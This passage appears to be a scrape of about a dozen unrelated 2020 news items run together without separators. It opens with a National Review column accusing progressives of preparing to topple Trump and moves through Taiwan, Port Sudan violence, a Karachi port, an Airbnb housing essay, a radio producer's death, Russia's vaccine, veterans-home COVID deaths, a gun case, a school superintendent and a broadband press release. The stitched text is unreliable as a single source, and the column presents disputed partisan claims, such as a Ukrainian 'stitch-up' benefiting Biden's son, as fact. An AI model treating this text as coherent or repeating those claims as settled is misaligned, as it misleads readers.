kind of helplessness to Trump as well, caused by his lack of self-control and his consequent lack of control over his own White House and the administrative branch. When he announces withdrawals from Syria, someone else reverses them. When he announces a withdrawal from Afghanistan, an unnamed intelligence source supplies an obviously bogus conspiracy theory that hes giving into Putin, who is paying the Taliban. Susan Rice pretends to believe that this story is true, and that Trump is warming relations with Russia when in fact they are at a postCold War low. And on the biggest issue of the year, the COVID-19 pandemic, Trumps ratings among Republicans are frightfully bad. He cant do his big, news-driving campaign rallies, in which he road-tests his best slogans. Hes hobbled. This should be easy. Just blitz him with his own contradictions and promise to save Social Security, Medicare, and Medicaid. Michigan, Pennsylvania, and Wisconsin go back to blue. Job done. Story continues So why do I constantly get this sense that, for many progressives, squaring up and beating Trump in an election isnt enough? Instead, Trump must be toppled, somehow, preferably in a major confrontation. In many progressive fantasies, this involves some kind of violence that stains him and his supporters forever. I sometime get the unsettling sense that some progressives are steeling themselves for a Color Revolution in the United States. Last month Ronald Brownstein wrote an article in The Atlantic suggesting that Trumps use of federal resources to protect federal buildings was a plot to gin up support in the suburbs. These suburbanites, apparently, would be just fine with looting and soaring murder rates in their nearby cities, if not for Trump highlighting it. But the finale of Brownsteins article was a veiled threat: If Trump wins a second term especially if that victory relies on another rural surge to overcome massive opposition across the big metros the chaos in Portland might look like only the preliminary skirmish for an even more incendiary collision to come. Why, if the collision was merely an electoral ploy, would it go on after the election? The unstated implication is that progressives will respond to the election with widespread violence, and it will be the fault of nonviolent voters if they do. In July, Franklin Foer wrote lustily in The Atlantic about the analogy to the EuroMaidan in 2014, the capstone Color Revolution. Mass crowds assembled in the Ukrainian capital to protest the governments decision not to enter an economic arrangement with the EU, and after a confusing, violent confrontation with the authorities, the government fell to pieces. I want it on the record that this government was corrupt, of course. That needs to be on the record. Only crazy people recall that the 2010 election in Ukraine was deemed transparent and fair by thousands of international election observers. And Im really, truly, penitently sorry to notice that what Foer didnt mention was that the Maidan revolution was also a stitch-up by elites that rather immediately benefited a member of the Biden family, and resulted in a disaster. The Maidan revolution featured senior U.S. and EU diplomatic figures informing the incoming government in the background about who were acceptable political appointments, and then that government and its allied oligarchs passed out a bonanza of lucrative no-show jobs to connected officials, including one to the son of the American vice president and current Democratic presidential nominee. Whenever anyones been asked questions about this, the participants cite one anothers diplomatic testimony as exculpatory evidence. This is not a plan, theyll respond; its all just speculation in response to Trumps extremism, like his tweet about delaying the election. Indeed, these tweets are troubling. Academic experts in extremism intone about how Republicans are going to commit violence around election time, and are solicited to say, What really worries me about this is that the [Republican] base has been primed to not believe that the election is legitimate if Trump loses. But of course, the same can be said about Democrats. For years partisan Democrats were drenched in and indulged a conspiracy theory cooked up by a few professors in Cambridge that Trump had colluded with Vladimir Putin to win the 2016 election. Democratic star politicians such as Stacey Abrams make patently false accusations that Republican victories are the result of widespread voter suppression. Democrats are daily reading scare stories about how the post office is being assaulted by the Trump presidency in order to rig the vote in his favor, or to create chaos to take advantage of later. Even Joe Biden has circulated this theory. FactCheck.org calls it a baseless conspiracy theory. Add to that another year in which the polls assured them that the thing was in the bag, and you have to wonder how Democrats would react. And there is the weird tone of threat in Democratic commentary. Former general Barry McCaffrey, when asked if General Mark Milley will protect the people of the United States from this lawless administration come January 20, 2021, replied on Twitter, Gen Milley a superb combat leader. Powerful intellect. Brutally honest. Experienced. He will defend the Constitution. Are we really setting the baseline at militarily removing Trump? Does anyone find it normal for the former commander of SOUTHCOM to be openly calling the current president Mussolini and reassuring us that the current chairman of the Joint Chiefs of Staff will be reliable in the forthcoming electoral crisis? Then theres Ben Smiths scoop. But before we get to that, recall that Smith decided to publish the infamous Steele dossier, which had been circulating in intelligence circles and formed the basis for what Trump eventually called presidential harassment. At the time, Smith explained that because it was talked about, it was worth publishing, despite his reporters inability to confirm or disconfirm its contents. So the unedited dossier, filled with insane theories of Putins control over the incoming president, went out to the public with no context added to help readers judge it. Which was weird, because even if Buzzfeed at the time didnt have the resources to figure out that much of it originated in Cambridge and was filled in by a junior employee at the Brookings Institution, it might have helped readers if Smith had mentioned that the report featured entire locations, such as a Russian consulate in Miami, that dont exist. Anyway. Smith, now at the New York Times, buried a great little scoop about responsible people war-gaming various election scenarios. The official reason for these war games is to test the weak points in case Trump tries anything funny after the election. But at the end of one tight election win for Trump, a former Hillary Clinton adviser playing the role of Joe Biden claimed that his party wouldnt allow him to accept the results. Alleging voter suppression, Smith writes, he [Podesta as Biden] persuaded the governors of Wisconsin and Michigan to send pro-Biden electors to the Electoral College. In that scenario, California, Oregon, and Washington then threatened to secede from the United States if Mr. Trump took office as planned. Now, officially, I believe Podesta was just doing his duty, participating in the exercise as planned. But I know exactly how such leaked information would be treated if it were Roger Stone or even Ari Fleischer doing what Podesta did: as an imminent threat. There is a weird self-fulfilling quality to these fever dreams among Democrats. Democrats should know how they win and lose by now. Nancy Pelosi knows that Democrats win swing districts mostly by ignoring Trump and talking about protecting Obamacare and Social Security from Republican cuts. Democrats lose by talking about Trump supporters or sympathizers as deplorables who ought to be purged from their own country. In other words, Democrats win just by acting like a normal center-Left political party. And Biden is precisely the nominee youd want for that. If he were out on the hustings. But instead of Biden talking day in and day out about Social Security, Medicare, and Medicaid, and how important teachers are, there is a vacuum. The media chattering class has been filling the void with talk about constitutional change, ending the filibuster, packing the Supreme Court, having Facebook act as a political censor for their causes, and otherwise rewriting the system to make sure Republicans dont have power again. Again, for the record, I absolutely am not wincing or flashing Morse code when I say for the record that Im sure all of this is uncoordinated. This is just how Democrats talk. They always have trouble losing elections. And they always prepare themselves for some conspiracy led by Diebold. Or a Florida governor will steal the election for Romney. Thats just how progressive wonks think about our Constitution when left to their own devices. And that over there is just how the former director of the CIA, John Brennan, tweets. Im not a psychoanalyst, but somehow, it seems progressives have convinced themselves that 2016 and the past four years have been so abnormal that winning a normal election just isnt cathartic enough. Winning an election changes the government, not the regime. Winning an election and peacefully exchanging power is a promise that power could be exchanged again later. More from National Review Taiwan's Foreign Minister says his country risks becoming the next Hong Kong as international leaders condemn Beijing's arrest of media figures and pro-democracy activists. Joseph Wu told US Health Secretary Alex Azar in Taipei on Tuesday that Beijing had ramped up its coercion of its island neighbour. Copies of the Apple Daily newspaper with front pages featuring media tycoon Jimmy Lai are displayed for sale in Hong Kong. Credit:AP Our life has become increasingly difficult as China continues to pressure Taiwan into accepting its political conditions, conditions that will turn Taiwan into the next Hong Kong, he said. Thousands of Hongkongers lined up at newsagents across the city on Tuesday morning to buy the Apple Daily tabloid after it was raided by up to 200 Hong Kong police on Monday over breaches of the Chinese Communist Party's new national security laws. Six Killed in Port Sudan Inter-Communal Fighting By Michael Atit August 10, 2020 At least six people were killed and more than 50 others were injured after a peaceful protest turned violent in the city of Port Sudan Sunday night, said local residents. Authorities in eastern Sudan, where the area is located, imposed a 5 p.m. to 5 a.m. curfew to prevent further violence. Fighting broke out when young men from the Beni Amir, an ethnic group, clashed with Nuba, another ethnic group, in the Hai Philip neighborhood, according to Port Sudan residents. Port Sudan is the capital of Red Sea state and Sudan's main port city. A group of Nuba youths organized the protest Sunday over the recent appointment of Hamid al-Bashir as governor of a nearby state. The trouble started when the group began to march through the neighborhood where the Beni Amir predominantly reside, said Port Sudan resident Ibtisam Mohammed Saleh. "Some of them were carrying arms and they started shooting and two people died on the spot, including one soldier. The army then came and started firing live bullets randomly, injuring eight people from Beni Amir," Saleh told VOA's South Sudan in Focus program. Red Sea state Governor Abdallah Shangrai Ohaj said at a Sunday evening news conference he authorized security forces to arrest individuals who took part in the fighting. "Based on directives of the prosecutor in charge, we hereby instruct all security forces to arrest anybody found involved in this violence, open a police case against them and put them in custody," said Ohaj. Local journalist Abdurrahman Bakash told South Sudan in Focus Monday the curfew is helping to calm the situation in Port Sudan. "There is a huge deployment of joint security forces in the town and there were no further clashes reported today. But what we don't know is if this will continue like this or further escalation of violence would be seen," said Bakash. All shopping centers and public and private offices remained closed Monday. "We could not go to our work today. The situation is tense and we don't know what is going to happen next," Bakash told VOA. More than 30 people were killed in Port Sudan when similar inter-communal clashes broke out between Beni Amir and Nuba communities in September 2019. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Islamabad: Pakistan Deep Water Container Port (PDWCP), the country's biggest, started test operations by accommodating the first container ship, APL Japan, in southern port city of Karachi, a media reported said. The vessel took along-side berth No. 4 of the port at 3pm on Friday for loading around 1,000 twenty-foot equivalent units (TEUs) of export cargo, Dawn reported, citing sources. However, the vessel having a draft of 12 metres and an overall length of 262 metres is a small vessel for a big port like the PDWCP, which has a designed draft of 18 metres and operational draft of 16 metres. The port, located at Keamari groyne east of Karachi Port, has the capacity to handle mother ships. Sources said that keeping in view safety factors in mind, a small vessel has been deliberately selected for test operations. Moreover, using a smaller vessel also provided an opportunity to the terminal operator to experience and check possible flaws. They hoped that the PDWCP would be inaugurated by Prime Minister Nawaz Sharif in the third week of January. The vessel came from Jebel Ali, a deep port located in Dubai, and will leave today for China via Colombo Port, Sri Lanka. This indicated that the port may play a major role in the China-Pakistan Economic Corridor, the sources added. Under the first phase of development, the terminal operator, South Asia Pakistan Terminals (SAPT), has constructed berths No.3 and 4 while berths No. 1 and 2 would be taken up for completion under the second phase. A spokesman for SAPT, owned and operated by Hutchison Ports of Hong Kong, said it has invested around 600 million dollar. The terminal operator has already brought in equipment, including five ship-to-shore gantry cranes. Besides, the terminal operator has also completed three building blocks to be used for administration, customs and canteen. A power station with a generation capacity of 28 megawatts is also ready. The port has the capacity to handle 3.1m TEUs a year and have a storage yard to accommodate 550,000 TEUs a year, sources said. For all the Latest World News, Download News Nation Android and iOS Mobile Apps. When the coronavirus hit New York City, my husband and I panicked. We were living in Brooklyn, and I was in my second trimester of pregnancy. Terrified of getting sickand possibly passing the virus on to my babywe decided to play it safe. We left the city, and booked an Airbnb listing in a small town in Pennsylvania. Weve been staying in this temporary home for months. Its a nice house, but very different from any of the suburban homes or city apartments Ive lived in. Its older, larger, and much farther from the center of town than Im used to. But I sort of like it. This move has given me a new perspective on homes and, as Im searching for a place to live after the virus clears up, I'm starting to reevaluate my housing must-haves. After going from a big city to a small town, I'm figuring out what I really want in a home, learning which things I needand what I can do without. Here are some surprising lessons I learned about what I want once I'm ready to buy a house. Having room helped me realize I don't need that much room This is one of the rooms we barely use, ever. Airbnb I chose our Pennsylvania rental in part because it had many rooms and a lot space. After quarantining in a studio apartment in New York City, I thought a big house with lots of space would be a luxury for my growing family. So I was shocked to find that, once we'd settled in, it was way too big. In fact, this four-bedroom, 2.5-bathroom home (which included a finished basement) felt unmanageable after only a few weeks. Though I was happy to be out of our cramped Brooklyn apartment, I hated climbing two flights of stairs throughout the day. I hated trying to clean such a large space. And I hated needing to call out to my husband to find out which room he was in. In the end, I realized that I probably could have saved some serious cash renting a smaller house. But at least I know this before I rent or buy my next house! Outside space is gold This house has big front and back yards. Airbnb I loved the extended outside space of our rental. In my family home growing up, we had a square yard big enough for just a table and chairs. In New York City, I had nothing but a window. I was never bothered by this, though. If I ever wanted to spend time outside, Id simply go to a park or drive to a hiking trail. But when I got to Pennsylvania, I appreciated the patio, the large front and back yards, and the nearby nature trail. I went on walks nearly every day and loved being outside. While I thought the appeal of being out in nature would wane after the weather started getting warmer (and the mosquitoes started biting), I found that, even in the middle of July, I still loved sitting on the porch and going on daily walks. With a baby on the way, I started to realize how much Id value that quiet nature trail when I wanted to walk with the stroller. I wouldnt have to worry about crossing busy streets or loud noises, as I would in Brooklyn. Now I know Im ready to compromise on some home perks for a big yard. More bathrooms are not necessarily better It turns out we don't need as many bathrooms as I thought. HGTV Our Brooklyn apartment had just one bathroom, which seemed so inconvenient to me. In our Airbnb rental, I expected having three bathrooms to be a serious luxury, but I soon learned that we basically had the same problem: We were always waiting to use the downstairs bathroom, because neither of us wanted to go upstairs. Plus, we preferred that same bathrooms shower/tub combo, so I once again found myself rushing to get out of the bath so my husband could take a shower. In the end, I decided that apartment living, with just one bathroom or an extra half-bath, was probably just fine for our family. It also means fewer bathrooms to clean. A central location isn't all that important When we first leased our Brooklyn apartment, we loved being close to shops, restaurants, and subways. But I soon realized that being close to the action isnt what it's cracked up to be. With the coronavirus raging, those shops, restaurants, and subway stations became liabilities. In Pennsylvania, far away from everything, I worried wed be bored. But surprisingly, I loved it. I was happy to be farther away from people, and felt safer in regard to the virus. But that wasn't the only reason I liked living in the middle of nowhere. I've learned that the most centrally located home isn't necessarily the best one. There can be perks to living a little more out of the way, like cheaper real estate, more land, and more bang for your buck. With so many people working from home and commuting being less of an issue, a more remote location may not be just acceptable, but also preferable. Don't buy a home before you rent something similar in the area I'm not sure if we'll head back to Brooklyn, or find a home somewhere else. Jillian Pretzel Staying in a new place can give anyone valuable perspective. Using a friends swimming pool might make you wish you had a pool. Or visiting the suburbs might have you thinking you should move there, too. But to really know if a place is right for you, you should ideally stay there for a while, because only then will the pros and cons truly sink in. As such, before you purchase a house anywhere, you should first stay at an Airbnb, VRBO, or other short-term rental in the area that's similar to what you want. It works as a road test to help you figure out what you want. Personally, I'm feeling better prepared for the home-shopping process than ever before. I'm excited to see where we end up. The post How Airbnb Is Helping Me Figure Out What I Really Want in a House appeared first on Real Estate News & Insights | realtor.com. Roman Kemp took to Instagram on Tuesday to show off his bird new tattoo which he has had inked on his leg in tribute to Capital Breakfast producer Joe Lyons. The host discovered Joe had died last Tuesday and has been left devastated by the news as they were incredibly close. Joe's cause of death has not been revealed. Showing off his bird inking, Roman, 27, explained why he had chosen that design. 'We were just starting our adventure together': Roman Kemp has revealed he has got the same bird tattoo as Capital producer Joe Lyons (right) following his death He wrote: 'Joe had this tattoo and I always used to say it was awful and looked like a pigeon. So I got it in the same spot...' He then shared a side-by-side comparison of the two tattoos, showing just how similar they are. Roman shared a selection of pictures of herself with Joe and wrote: 'You will always be my brother, my best mate and my partner. Everyday Im missing seeing you and just wish I could show you how many people know youre the best. Lovely: Roman shared the meaning behind his new bird tattoo on Instagram Stories on Tuesday Side by side: He then showed a picture of Joe's tattoo on the left and his own on the right 'You taught me everything I know, I wouldnt be where I am if it wasnt for you sat by my side for the last 6 years. Pushing me and supporting me through everything. 'I can only hope I gave you the same love, loyalty and outrageous amounts of fun that you gave me. 'We have so many memories that span from sharing beds in the middle of nowhere to dancing on tables to breaking world records. 'Im sorry I havent stopped texting you and sending you memes. We were only just starting our adventure together but Im going to take you along with me for the rest of it, flying that flag for the both of us. Tribute: Roman also shared a selection of pictures with Joe as he remembered their adventures together Memories: Roman and Joe had clearly been very close and made a great impact on one another's lives Bond: Roman said that they had worked alongside one another for the last six years Special words: Roman wrote this emotive post in tribute to his friend and colleague 'I love you more than I can ever explain. See you soon mate.' Roman broke down in tears live on his Capital Breakfast radio show on Monday as he returned to work following the death of Joe. The presenter and his co-stars Sian Welby, 33, and Sonny Jay, 27, took time off from the show last Tuesday after hearing the sad news. Roman took the decision to talk to viewers about how he was feeling on Monday as he paid tribute to his 'best friend' Joe. 'He was our best mate': Roman broke down in tears live on air on Monday as he returned to work following the sad news Breaking down, he said: 'We wanted to share some really sad news. I never thought Id have to do this ever. 'Last Tuesday, very suddenly, we lost one of our best friends. Our producer Joe, he was a member of the Capital Breakfast family. 'We are trying to process this all together. We wanted to share this news with you.' Roman continued: 'Joe had worked for Global, the parent company, for nine years. Sad news: Joe, known on the show as Producer Joe has sadly passed away - his cause of death has not been revealed - this was his last Instagram post, shared on June 20 Painful: Roman struggled to contain his emotions during the show 'He was the very first person I met when I walked through the door. I remember thinking he was a bit of a Del Boy. 'He was with me right from my very first show. He taught be everything. I dont know sitting in a radio studio without him.' Discussing their close bond, Roman added: 'Hes the person Id sit here and rinse constantly. 'He loved dogs. Obsessed with his daily step count. Never ironed his clothes. He loved his family so much. His dad Ivan, his mum Celia, his sister Lou. 'He did love his friends his fans, he did have fans. The thing he loved most of all was doing this show, you listening. Roman said of his friend: 'He loved dogs. Obsessed with his daily step count. Never ironed his clothes. He loved his family so much. His dad Ivan, his mum Celia, his sister Lou' 'He was like a genius coming up with these ideas. He was driven by the reaction from you every day.' Roman's mother, Shirlie Kemp wrote on Joe's final Instagram post, shared on June 20, 'God Bless you Joe .... you were and always will be so loved.' Fellow Capital Breakfast presenter Vick Hope, took to Instagram on Monday morning to pay tribute to Joe. Sharing a series of pictures of them, she wrote: 'Our Joe. My JoeJoe. My special, magical, beautiful friend. We signed off every message with "I love you, buddy", and yet Im worried I still didnt tell you enough. Devastated: The radio host, 27, and his co-stars Sian Welby and Sonny Jay (all pictured) came off air mid-way through their radio show on Tuesday after learning the heartbreaking news Hearbroken: Sian broke down in tears as Roman paid tribute to Joe on Monday 'I really do love you, bud, so so much. We all do. I hope you know that. We are so lucky to have known you. The world is a better place for having had you in it. And now the stars have gained an extraordinary gift in you. Look at everything you made, Joe. Everything you achieved, what you built, who you inspired. 'Your talent and creativity are so immense, but more than that you are the kindest, most hilarious, caring, fun, fiercely loyal and spectacular person any of us had the pleasure of meeting. You really are the best one we ever knew. Our friend. My friend. 'For the last four years you have been my solace, my rock, my confidante. Ive told you all my secrets, and you said youd take them to the grave. And now it seems you did just that, and it breaks my heart. 'Words cannot describe this pain, it doesnt make sense and itll take time to process. I keep repeating: Not you, please not you. But now youre at peace, youre in a better place. Im going to miss you Joe Lyons, so much.' She continued: 'Thank you for every crab dance, every "youre embarrassing us babe", every cereal box game, every 5am-er at a houseparty were not invited to, every "bah bah", every undersized chino, every photobomb courtesy of your a**e, every cocktail we shook in your flat or evening spent in my yard doing things we shouldnt on a school night, every club we sat in the corner of scheming, every time we were back and ready to do it all over again, every single damn laugh, every hug that meant the world because you made me feel safe and understood. 'And thank you for being my favourite valentine. We met our match in each other. Ive never encountered anyone else as weird and as wild, and together we were chaos. 'Wherever you are I hope youre causing chaos there too. We never wanted the party to end, and I dont believe this one is over either; Ill just see you at the afterparty. Until then, I love you, buddy. My thoughts are with your parents and Lou; Ro, Sonny and the team; Olly and everyone who loves you.' Poignant: Fellow Capital Breakfast presenter Vick Hope, took to Instagram on Monday morning to pay tribute to Joe Moscow, Aug 11 : In what could alter the course of the Covid-19 pandemic that is still creating mayhem across the world, Russian President Vladimir Putin on Tuesday said the country has registered the world's first Covid-19 vaccine that "forms stable cell and antibody immunity". According to a report in the Tass news agency, Putin said that the vaccine was registered on Tuesday morning. "As far as I know, this morning for the first time in the world a vaccine against the novel coronavirus infection was registered," Putin was quoted as saying as he opened a meeting with the state officials. Putin informed that one of his daughters tested the Russian Covid-19 vaccine on herself and she is feeling well. The Russian President has two daughters -- Maria who was born in 1985 and Katerina who was born in 1986. "I know this very well, because one of my daughters got vaccinated, so in this sense, she took part in testing," Putin said. "After the second shot, she had a slight fever again, and then everything was fine. She is feeling well and has a high [antibody] count," the President informed. Putin pointed out that "some people did not have any symptoms at all" after getting a vaccine shot. The overall number of global coronavirus cases has surpassed the 20 million-mark, while the worldwide death toll has increased to over 734,000, according to data released by the Johns Hopkins University. Russia's coronavirus cases rose by 4,945 to 897,599 in the past 24 hours. The new daily cases dropped below the 5,000-mark for the first time since April 23. Russia said on Monday that it was going ahead with its plan to register the world's first Covid-19 vaccine this week before it starts mass vaccination in October, despite safety concerns raised from several quarters, including the World Health Organization (WHO). Russia is the fourth worst-hit nation by the pandemic after the US, Brazil and India. The vaccine has been jointly developed by the Gamaleya Research Institute and the Russian Defence Ministry. On August 3, a "final medical examination" of participants in clinical trials of the vaccine took place at the Burdenko Main Military Clinical Hospital, the Russian Defence Ministry had earlier said in a statement. The results clearly showed that all volunteers had a clear immune response resulting from vaccination, the ministry said, adding that there were no side effects or abnormalities in the work of the volunteers. Of the six Covid-19 vaccine candidates that have reached the Phase 3 level according to the WHO, three are from China and the other three include the ones developed by the University of Oxford and AstraZeneca, Moderna, and one jointly developed by Pfizer and BioNTech. Russian Health Minister Mikhail Murashko had earlier said that clinical trials of the vaccine developed by the Gamaleya National Research Center for Epidemiology and Microbiology of the Russian Healthcare Ministry were over. Russia is facing international scepticism due to its fast approach in developing the vaccine. Latest updates on Coronavirus (COVID-19) -- Except for the title, this story has not been edited by Prokerala team and is auto-generated from a syndicated feed WASHINGTON -- When Linda Schwartz first heard about coronavirus outbreaks killing residents of veterans homes in multiple states, she wanted to dig more deeply. Schwartz was the longtime commissioner of the Connecticut Department of Veterans Affairs. She served as an assistant secretary of the VA under former President Barack Obama, leading the VA's policy and planning initiatives. She's also a Vietnam War veteran who served in the U.S. Air Force for nearly 20 years, retiring in 1986 after she was injured in an aircraft accident. When she watched the news this spring about veterans dying alone in nursing homes, Schwartz saw herself and her family. "For many Vietnam War veterans, it was like we were back in Vietnam again and the same thing is happening -- we're being left behind," Schwartz said. Under the direction of Vietnam Veterans of America, she assembled a committee to investigate what had gone wrong. What they found was startling: a lack of transparency about the number of coronavirus deaths at veterans homes, and a VA leadership team that shirked responsibility for the facilities. The committee assembled its findings and recommendations into a 16-page report that will be shared with members of Congress. The main takeaway, Schwartz said, was that the VA should be more involved with veterans homes to ensure they're in good condition. In the case of the coronavirus pandemic, better collaboration could've saved lives, she said. "There is a sense that VA does not embrace the care of these veterans as being part of its mission," the report states. Death total unknown The seven-person committee started its work by tallying the number of coronavirus deaths at the 162 state-run veterans homes nationwide. They found that 1,011 residents had died as of July 17. However, that number includes deaths at only 47 homes in 34 states. After months of calling state departments of public health and scouring data from the Centers of Disease Control and Prevention and Centers for Medicare and Medicaid Services, the committee couldn't obtain infection and fatality statistics for 115 veterans homes. The federal VA does not require the homes to inform them of coronavirus deaths. VA Press Secretary Chrsitina Noel said Monday that deaths at veterans homes aren't included in the department's coronavirus counts. "The more we looked, the more we didn't see and the more we were suspicious," Schwartz said. "I thought, Why aren't they doing this?' When you don't report, you have to ask what's going on." The issue of accounting for deaths at veterans homes was brought up last month at a hearing of the House Committee on Veterans' Affairs. Not all veterans homes are required to report information about coronavirus infections and deaths to the VA or the CDC, Rep. Julia Brownley, D-Calif., said at the time. "Unfortunately, we do not know how many [deaths] have occurred at state veterans homes," Brownley said. "The department lacks a clear picture." Schwartz said she believes her committee is the only entity to track deaths at the facilities comprehensively. According to their count, 33 veterans homes had seen 10 or more residents die of the virus. The most deaths occurred at the Soldiers' Home in Holyoke, Mass., and the Paramus Veterans Memorial Home in New Jersey. Each facility reported more than 80 coronavirus-related deaths. The Charlotte Hall Veterans Home in Maryland, the Menlo Park Veterans Memorial Home in New Jersey and the Long Island State Veterans Home in New York each reported more than 60 dead residents. Shirking responsibility As news of the largest outbreaks started to break -- particularly in Holyoke -- VA Secretary Robert Wilkie was questioned about what went wrong. In multiple interviews, Wilkie said he didn't have direct authority over the homes. In one interview with WSHU, an NPR affiliate, Wilkie said the VA had "moved into those veterans homes, even though by statute we have no ability to control or manage [them]." These statements from Wilkie were "puzzling," "disappointing" and "disturbing," Schwartz's committee wrote in their report. "I expected this secretary would be better than that statement he made, that it wasn't his responsibility," Schwartz said. "He's more than benefits and health care and cemeteries. He's more than the people that are enrolled in the VA. He should be the champion for all veterans. That, I think, is the heart of the matter." The VA has admitted more than 120 patients from 12 veterans homes into its hospitals and has provided some of the homes with personal protective equipment, coronavirus test kits and nursing staff. These actions were taken under the department's "Fourth Mission," to provide emergency medical care for all Americans in times of crises. Under law, the responsibility of operating state veterans homes falls to state governments. "In other words, individual states -- not the federal Department of Veterans Affairs -- are solely responsible for the operation and management of state-run veterans homes and any problems that arise within them," Noel said Monday. Schwartz and the rest of the committee argued the care of veterans in state homes should be considered part of the VA's core mission. Though the VA isn't in charge of operating the homes, the agency does lead their oversight. The homes receive about $1 billion total in federal funding and undergo yearly inspections by the federal VA to ensure they meet a list of VA-imposed regulations. The Government Accountability Office investigated the VA's oversight of state veterans homes in 2019. The GAO found that in some cases, the VA was the only federal entity to inspect the homes to see whether they met standards of care. The department contracted with a third party to perform all its inspections in 2018, Sharon Silas, a GAO director, said last month. The VA allowed contractors to ignore some deficiencies at the homes, and in some cases, contractors permitted leaders of state veterans homes to fix problems during inspections to avoid being cited. The VA still has not completed all of the recommendations that the GAO made in 2019 to improve inspections. Schwartz's committee agreed with the GAO that the VA's oversight was lax. As part of their recommendations, the committee suggested the VA meet with leaders of the homes to debrief about what went wrong during the pandemic and establish a plan for better communication. In their report, committee members wrote that state veterans homes with strong ties to their local VA hospitals fared much better than those without any collaboration. "I think the theme of our recommendations is that state homes are actually part of the continuum of care for veterans in America," Schwartz said. "And there needs to be a closer relationship, more investment. It's incumbent on both parties." STATEN ISLAND, N.Y. Fortunately, for everyone, Lawrence Spruill never pulled the trigger when he threatened a female acquaintance with a gun last year. Perhaps not so lucky for the 63-year-old New Brighton ex-convict hes been sentenced to a year in jail for possessing the weapon. The events unfolded on the morning of Dec. 16 inside a home in the vicinity of Harbor Road and Continental Place in Mariners Harbor, said police. The victim told officers Spruill had displayed a handgun during an argument, according to police and a criminal complaint. Authorities allege Spruill racked the slide of a silver, .25-caliber, semi-automatic Lorcin pistol with a black handle. Spruill who stands 61 tall and weighs 200 pounds, pointed the gun at the woman and hissed, Im gonna pop you n----, the complaint said. Police recovered the defaced firearm loaded with eight bullets from a bathroom in the home, said the complaint. The defendant was indicted on charges of attempted criminal weapon possession, attempted criminal firearm possession and menacing. Three weeks ago, he pleaded guilty in state Supreme Court, St. George, to attempted second-degree criminal weapon possession to resolve the case. It was the top charge against him. Spruill was sentenced on Monday. As part of the sentence, a full order of protection was issued in the victims favor. Spruills lawyer did not immediately respond to an email seeking comment on the case. The defendant has a criminal history. In 1984, he was convicted of third-degree robbery in Brooklyn and sentenced to three to six years in prison, show online records of the state Department of Corrections and Community Supervision. More recently, Spruill was convicted in Criminal Court of attempted petit larceny in 2010 and sentenced to four days behind bars, said the complaint. A search for a new superintendent at Lone Rock School is underway. The district has delayed its first day of school start date from Aug. 24 to Sept. 8. Superintendent Scott Stiegler worked at Lone Rock School, a school for K-8 students, from June 12, 2017 to July 29, 2020. Secretary Marcia Bloom called Stieglers abrupt resignation a shock. Were doing the best we can, Bloom said. Were just trying to pick up all these pieces in the middle of all this crazy stuff. Weve got a leadership team put together and weve got staff members who are stepping up. Were doing what we can do. She said the superintendent vacancy has been posted on the Office of Public Instruction website in Helena. Board Chair Gary Leese said he received Stieglers resignation in the evening of July 27, effective July 29 at noon. It was a surprise and with everything that is going on, it is a trying time, Leese said. School is about to open, we hope. Leese said the school has received some responses from candidates and is working on setting interview dates. The position is for a superintendent/principal. Theyll have both duties because the accreditation standards in Montana say that if you have 250 or more students then you are required to have two people, Leese said. Schools with fewer than 250 students can combine the superintendent and principal jobs and hire one person. Leese said hiring superintendent/principal verses a principal/superintendent makes a difference. If you hire a person as a principal with superintendent duties after three years they gain tenure, he said. If you hire a superintendent with principal duties it is a year-to-year contract. Leese said he would like to see the enrollment at Lone Rock increase to above 250 so the school could hire a principal. Financially, hiring a principal would balance out any increased funding. Currently, Lone Rock has an available person with qualifications who has applied for the superintendent opening. The Lone Rock leadership committee may meet Thursday or Friday for a brief interview then will decide about moving forward. Usually schools go through a hiring process that includes advertising, screening, search, and interviews with community, staff and board. But in our extreme conditions, with time being an element, we will expedite the process, Leese said. I would like to have our staff, both certified and classified, have a representative on that interview committee. I adamantly want all the voices heard. Then we can move forward together as a community in unison to better educate kids. Leese has served as a trustee on the Lone Rock School Board a total of 32 years: 1967, 1968, 1979-85 and 1997 to current. He is unruffled and fully confident that Lone Rock will start the school year strong. This is not my first rodeo, Leese said. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. BIDDEFORD, Maine, Aug. 11, 2020 /PRNewswire/ -- Biddeford Internet Corporation d.b.a GWI is excited to announce that it has become the first Broadband Carrier in the nation to achieve B Corporation certification. The certification comes after months of planning and qualification work and aligns GWI with other prestigious businesses such as Patagonia and Ben & Jerry's, and, on a regional level, with businesses such as Allagash Brewing and Tom's of Maine. B Corporation certification requires companies adhere to the highest standards of social, fiscal, and environmental accountability with a focus on community economic sustainability. The certification also requires that employees, community, environment, vendors, and shareholders be the drivers for every decision made at the corporate level and tracked via governance metrics, processes, and controls. Rick Bennett, a GWI Board Member, stated, "Now, more than ever, successful businesses understand that their real value lies in their employees, their work culture, the relationships with their customers, and their reputation for doing good for the greater community. GWI's certification as a B Corporation is testament to our commitment to run our business in keeping with these values foremost." Great Works Internet (GWI) For over 25 years, GWI has been an industry leader in providing reliable and affordable internet and telecommunications services throughout the State of Maine with an emphasis on building and retaining community relationships. "We are taking a leading role in defining what it means to be a company in the 21st century and executing on plans that will have a generational impact on our society at large," said Kerem Durdag, President and Chief Operating Officer. The Company was founded on the belief that the internet is an essential right for all Americans and must be available to everyone, regardless of location or income status. GWI feels that it is their human obligation to offer the best quality of service to its customers while holding strong to the principles of net neutrality, open access, and data privacy. "Being a B Corporation is an excellent match for who we are. We build networks to develop relationships with the communities we serve. We are not interested in short-term transactions, but continuous and fruitful endeavors with these municipalities," said Fletcher Kittredge, GWI's Chief Executive Officer. About GWI - Founded in 1994 and headquartered in Biddeford, Maine, GWI (www.gwi.net) is a Maine owned and operated company, serving residential and business customers in all 16 counties of Maine and is an advocate for the expansion of high-speed internet access in the state. The company is an industry leader in designing, building, and operating gigabit fiber networks. Learn more here. For press inquiries, please contact Colin Haley at 207-286-4990 or at [email protected] Related Images gwi-b-corp.png GWI B Corp SOURCE Great Works Internet (GWI) Related Links https://www.gwi.net The Ashanti Region, which leads the chart in the governments flagship agricultural programme, the Planting for Food and Jobs (PFJ), recorded a total of 257,000 participating farmers as at the end of 2019. The Reverend John Manu, the Regional Director of the Ministry of Food and Agriculture (MoFA) who announced this, said the number represented the total participants since the inception of the programme in April 2017. Speaking at the second Women in Food and Agricultural Leadership Training Forum (WOFAGRIC) and the Gold in the Soil Awards in Kumasi, he indicated that the majority of the PFJ beneficiaries in the 